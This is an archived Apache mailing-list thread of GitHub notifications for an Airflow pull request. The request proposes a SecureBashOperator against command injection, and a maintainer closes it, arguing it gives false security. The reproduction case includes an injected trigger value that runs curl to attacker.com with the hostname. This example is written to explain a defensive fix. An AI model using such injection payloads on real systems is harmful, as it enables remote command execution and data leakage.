[PR] Add SecureBashOperator to mitigate command injection (CVE-2026-30898) [airflow]

["voidsidd (via GitHub)" <gi...@apache.org>]

voidsidd opened a new pull request, #66478:
URL: https://github.com/apache/airflow/pull/66478

   #### Summary
   I noticed that while **#64129** updated the docs to warn against insecure templating in `BashOperator`, it’s still very easy for users to accidentally create command injection vulnerabilities (CVE-2026-30898) when using `dag_run.conf`.
   
   This PR introduces the `SecureBashOperator`, a security-hardened alternative to the standard `BashOperator`. It addresses a critical vulnerability class where untrusted runtime data (from `dag_run.conf`, `params`, or `Variables`) can be injected into the shell execution context. Instead of relying on fragile input sanitization or regex-based blacklisting, this operator implements **Template Lifting**. This separates the untrusted Jinja2 expressions from the bash command string by hoisting them into the process environment variables before the shell is invoked.
   
   #### The Vulnerability: Context Breakout
   The current `BashOperator` execution model is vulnerable when DAGs process external triggers. Since Jinja2 renders directly into the command string, malicious payloads can break out of the intended command context.
   
   **Reproduction Case:**
   ```python
   # Malicious trigger configuration: {"user_id": "\"; curl http://attacker.com/$(hostname) #\""}
   bash_task = BashOperator(
       task_id="process_user",
       bash_command='echo "Processing user: {{ dag_run.conf[\'user_id\'] }}"'
   )
   # Resulting execution: echo "Processing user: "; curl http://attacker.com/$(hostname) #"
   ```
   
   #### The Fix: Template Lifting
   The `SecureBashOperator` automates the secure pattern recommended by maintainers:
   
   1. **Identification**: Scans `bash_command` for untrusted runtime sources.
   2. **Hoisting**: Replaces these expressions with POSIX variable references (e.g., `${_AIRFLOW_LIFTED_0}`).
   3. **Parameterization**: Renders the extracted Jinja expressions into the task's `env` dictionary.
   
   Because the shell expands `${VAR}` as literal data and does not re-scan the result for command substitution, the payload is neutralized.
   
   #### Implementation Details
   * **Opt-in Replacement**: Located in the `standard` provider. It doesn't modify the existing `BashOperator`, ensuring 100% backward compatibility for existing DAGs.
   * **Safety Guardrails**: Automatically logs a warning if `eval` or `source` are detected in the command, as these would re-evaluate the safe environment variables as code.
   
   #### Testing
   * Unit tests for complex/nested Jinja extraction.
   * System test DAG: `providers/standard/tests/system/standard/example_secure_bash.py`.
   
   Fixes CVE-2026-30898
   
   ---
   ^Gen-AI disclosure: This PR was developed with the assistance of an AI coding agent. All code and logic have been manually reviewed and verified.^
   


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: commits-unsubscribe@airflow.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

Re: [PR] Add SecureBashOperator to mitigate command injection (CVE-2026-30898) [airflow]

["potiuk (via GitHub)" <gi...@apache.org>]

potiuk closed pull request #66478: Add SecureBashOperator to mitigate command injection (CVE-2026-30898)
URL: https://github.com/apache/airflow/pull/66478


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: commits-unsubscribe@airflow.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

Re: [PR] Add SecureBashOperator to mitigate command injection (CVE-2026-30898) [airflow]

["potiuk (via GitHub)" <gi...@apache.org>]

potiuk commented on PR #66478:
URL: https://github.com/apache/airflow/pull/66478#issuecomment-4414328235

   This PR has multiple issues:
   
   * secure indicates that regular Bash Operator is not secure (it is - it just requires careful passing user input)
   * it uses complex logic to prevent injection - that is not protecting against all cases - so it gives false sense of security
   * there are **plenty** of other operators and hooks where passing parameters might cause some kinds of injection - having just one place that "possibly prevents" it - is worse than consistently relying on DagAuthors knowing what they are doing
   
   I do not think we should have it.


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: commits-unsubscribe@airflow.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org